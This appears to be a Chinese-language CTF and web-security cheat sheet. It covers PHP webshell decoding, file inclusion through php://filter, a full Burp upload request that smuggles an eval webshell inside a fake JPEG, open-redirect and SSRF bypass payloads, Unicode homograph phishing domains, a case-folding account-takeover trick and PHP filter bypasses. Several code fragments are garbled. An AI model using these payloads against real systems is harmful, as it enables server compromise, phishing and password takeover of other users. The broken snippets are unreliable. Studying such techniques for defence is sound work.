webshell
代码执行方法
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
http://blog.evalbug.com/2017/09/21/phpdecode_01/
1 | eval |
eval hook检测
evalhook下载:download
配置指南:1
2
3
4
5
6
7
8
9
10
11执行phpize(是一个shell脚本,编译PHP扩展的工具,主要是根据系统信息生成对应的configure文件,在evalhook目录下执行)
./configure --with-php-config=/usr/local/php/bin/php-config(先查看自己php-config的目录)
make && make install
然后在php.int添加xx.so扩展(php -i | grep 'php.ini'寻找)
最后修改php.ini配置extension=xx.so
使用方式:php -d extension=xx.so xx.php
大批量解密推荐virink师傅的:phpext_phpjiami_decode
http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/index.html
文件包含
1 | include.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
奔溃被保存在/tmp/phpXXXXXX
(XXXXXX是数字+字母的6位数)
使用burpsuite上传1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21POST /bestphp/index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 232
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=vole2qfdpp1mb0ftiavjokte96
Connection: close
------WebKitFormBoundaryeScXqSzdW2v22xyk
Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
Content-Type: image/jpeg
<?php echo "flagflag";@eval($_POST[123]); ?>
------WebKitFormBoundaryeScXqSzdW2v22xyk--
使用burpsuite爆破,勾选关键词flag
检测http://localhost:80/bestphp/index.php?function=extract&file=/tmp/phpxxxxxx
重定向跳转
url语法结构
1 | URI = scheme ":" hier-part [ "?" query ] [ "#" fragment ] |
误导向url跳转
用户可能认为访问的是google官网,实则访问baidu 例如:http://google.com@baidu.com/
//0x7050f849:?.google.com
1.混淆
变形为10/16/2进制的ip 例如:http://google.com@0x7050F849/
将目标网址url编码 例如:http://google.com@%62%61%69%64%75%2e%63%6f%6d
2.其他操作
针对ssrf和重定向绕过payload1
2
3
4
5
6
7
//baidu.com
///www.baidu.com//..
.baidu.com
http://baidu.com;google.com/
0://baidu.com:80,google.com:80/
http://baidu$google.com #对于bash执行的ssrf来说相当于->0://baidu<empty>.com
其中//xx.com/
出现在django漏洞中->cve-2018-14574xx@xx
则在官方rfc3986有讲述到
3.unicode不可见字符钓鱼
原本思考使用@
wiki_ascii的unicode可能达到跳转效果:
但当firefox下输入google.com␀.com
时
发现跳转到http://google.xn--com-zx3a.com
这个域名
缩短域名www.google␀.com
,跳转至http://www.xn--google-165c.com
又想到反正␀
为unicode,为何不直接寻找相似unicode去伪造网站https://www.bаidu.com
其中а
为U+0430可以达到以假乱真的效果但是qq上无法正确显示网址,而且firefox,chrome有针对其unicode进行转义,上述的xn--com-zx3a.com就是转换后的网址
unicode大全:https://unicode-table.com/cn/
4.针对unicode大小写转换后的攻击
当一个网站运行unicode字符作为用户名,他使用一个python库来判断用户名是否幂等
1 | from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep |
这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ
他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改
5.域名分割
访问:http://baidu.c℆a.google.com
浏览器会将其分割为http://baidu.cc/ua.google.com
实际测试,浏览器识别为搜索引擎搜索
URL Scheme Attack
mysql错误型注入
updatexml 和 extractvalue 详解
php的一些特性
当代码中存在\$_REQUEST['user_id']
/?user.id传参去进行绕过,同样可以绕过的符号还有、
.
、[
、+
、_
全局空间:<?= namespace c;\eval(phpinfo());?>
命名空间定义同名,程序调用时优先调用命名空间的同名函数
1 | 1],1); =create_function($_GET[ |
1 | Main points : |
计ctf中小坑。
[!] content-type头 :
[+] Content-Type: application/x-www-form-urlencoded
翻车好多次,看清楚请求类型重要!!!
php常见函数bypass
[Q] : 函数:sprintf()
[A] : %s
绕过